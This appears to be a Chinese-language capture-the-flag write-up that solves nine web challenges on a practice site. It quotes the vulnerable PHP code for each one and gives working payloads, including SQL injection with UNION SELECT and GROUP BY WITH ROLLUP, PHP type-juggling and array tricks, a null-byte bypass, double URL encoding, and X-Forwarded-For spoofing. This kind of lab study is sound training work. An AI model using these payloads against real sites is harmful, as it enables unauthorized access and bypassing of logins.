一、因缺思汀的绕过
1、web题常规套路就是查看源代码,于是右击查看源代码发现:<!--source: source.txt--><br/>。构造url:http://ctf5.shiyanbar.com/web/pcat/source.txt 查看php代码。
2、关键php代码:
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
分析代码发现:满足if (mysql_num_rows($query) == 1) 和if($key['pwd'] == $_POST['pwd']) 即可得到flag。也就是说要满足返回的结果集影响数为1,同时
$key['pwd']和 $_POST['pwd']相等。
3、构造sql语句:'or 1 limit 1# 可以满足第一个判断。limit 1 可以控制只查询一行,影响数为1。为了同时满足两个判断可以构造语句:'or 1=1 group by pwd with rollup limit 1 offset 2 #。语句group by pwd with rollup 的意思是在数据库中添加分组使pwd==null;offset 2的意思是从第二行开始查询。
4、查询框中输入:'or 1=1 group by pwd with rollup limit 1 offset 2 #得到flag。
二、拐弯抹角
1、题目列出七个条件:
不能出现 ./
不能出现 ../
只能使用小写字母和 . 还有 /
不能出现 //
必须包含/index.php,并且以此结尾
禁止p后面出现.这个符号
$URL必须与/indirection/index.php有所不同
2、通过伪静态技术构造index.php/index.php可以绕过所有判断条件。第二个index.php会被当作参数处理,第一个index.php被解析。
3、最后的url:http://ctf10.shiyanbar.com:8888/indirection/index.php/index.php
三、Forms
1、查看代码,发现<input type="hidden" name="showsource" value=0>
2、F12查看器修改表单内容。将 <input type="hidden" name="showsource" value=0>中hidden去掉,value设为1.提交表单之后出现源代码:
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {
echo "User with provided PIN not found.";
}
3、将$a输入到文本框,提交可得到flag
四、once more
1、直接View the source code查看php代码
2、
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
password长度小于8,数值大于9999999,同时包含字符‘ *-* ’,即可得到flag。根据提示,可以利用科学计数法满足长度和数值的要求。
3、1e8(10的8次方)即可满足长度和数值的要求。还有要求就是包含 *-* ,同时,password必须是数字和字母,所以用%00将1e8和*-*隔开。地址栏会自动进行url编码,会将%00编码成%2500,所以要在地址栏中构造出?password=1e8%00*-*
五、Guess Next Session
1、直接View the source code查看php代码
2、关键的代码是
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
得到flag必须满足$_GET['password'] == $_SESSION['password']。
3、可以将提交的password设为空,把session也设为空就可以满足判断条件。直接点击guess,并用burp抓包,将包中的PHPSESSID改为空即可得到flag
六、FALSE
1、直接View the source code查看php代码
2、关键代码
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
满足name和password不同,哈希值相同就能得到flag。
其中$_GET['name'] == $_GET['password']是==,只比较内容,只要内容不同就能满足。
sha1($_GET['name']) === sha1($_GET['password']是===,比较类型和值内容。错误相同也是相同,这里sha1默认的字符串变量输入,如果是别的变量输入,则会报错,因此采用数组比较好。
2、直接输入http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2 得到flag。
七、程序逻辑问题
1、查看源代码,发现index.txt,点进去查看代码
2、关键代码:
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********"); //有了user和pass才能连接数据库
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]); //将pass进行md5加密
$sql = "select pw from php where user='$user'"; //从php表中查询user='$user'的pw字段值
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC); //查询结果以MYSQL_ASSOC格式赋值给变量row
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { //查询的pw的值与输入的pass的值一样
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
要满足
($row[pw]) && (!strcasecmp($pass, $row[pw])),但是并不知道user对应的pw值,可以使用union联合查询,使union前面的值为false,执行union后面的语句。
利用hackbar构造post语句:
user=soso' and 1=2 union select "D0717F47123F763C266CA3A759DCAF30" &pass=soso
其中,
D0717F47123F763C266CA3A759DCAF30为soso的md5值
八、PHP大法
1、打开题目发现:Can you authenticate to this website? index.php.txt
构造url:http://ctf5.shiyanbar.com/DUTCTF/index.php.txt
得到php代码
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
2、对输入的id进行url解码,如果解码的结果是hackerDJ就可以得到flag
因为地址栏会自动进行一次url解码,所以需要对hackerDJ进行两次url编码,然后构造url:
http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
九、貌似有点难
1、View the source code
2、关键的一句:
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
3、burp中直接抓包 增加X-Forwarded-For:1.1.1.1,发送包,即可得flag